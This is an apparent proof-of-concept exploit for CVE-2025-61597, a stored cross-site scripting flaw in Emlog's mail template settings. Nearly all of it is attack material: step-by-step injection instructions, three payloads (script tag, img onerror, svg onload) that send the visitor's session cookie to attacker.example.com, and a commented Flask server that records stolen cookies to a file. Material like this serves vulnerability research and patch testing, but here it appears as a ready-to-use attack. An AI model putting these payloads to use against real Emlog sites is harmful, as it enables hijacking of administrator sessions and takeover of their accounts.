CVE-2025-61597：Emlog邮件模板存储型XSS漏洞

<!-- CVE-2025-61597 PoC: Stored XSS via Emlog Mail Template Settings --> <!-- Attack vector: Inject malicious payload into mail template content field --> <!-- Step 1: Authenticate as a user with access to mail template settings --> <!-- Step 2: Navigate to the mail template settings page --> <!-- Step 3: Inject the following payload into the template content field --> <!-- Payload 1: Basic cookie stealing --> <script> var img = new Image(); img.src = 'https://attacker.example.com/steal?cookie=' + encodeURIComponent(document.cookie); </script> <!-- Payload 2: Using img onerror event handler (more stealthy) --> <img src="x" onerror="fetch('https://attacker.example.com/steal?c='+document.cookie)"> <!-- Payload 3: Using SVG with onload --> <svg onload="new Image().src='https://attacker.example.com/x?'+document.cookie"> <!-- Step 4: Save the template --> <!-- Step 5: Wait for an admin to visit the mail template settings page --> <!-- Step 6: The malicious JavaScript executes in the admin's browser context --> <!-- Step 7: Admin's session cookie/token is exfiltrated to attacker's server --> <!-- Attacker server endpoint (e.g., Flask) to capture stolen cookies --> // from flask import Flask, request // app = Flask(__name__) // @app.route('/steal') // def steal(): // cookie = request.args.get('c') or request.args.get('cookie') // with open('stolen_cookies.txt', 'a') as f: // f.write(cookie + '\n') // return '' // app.run()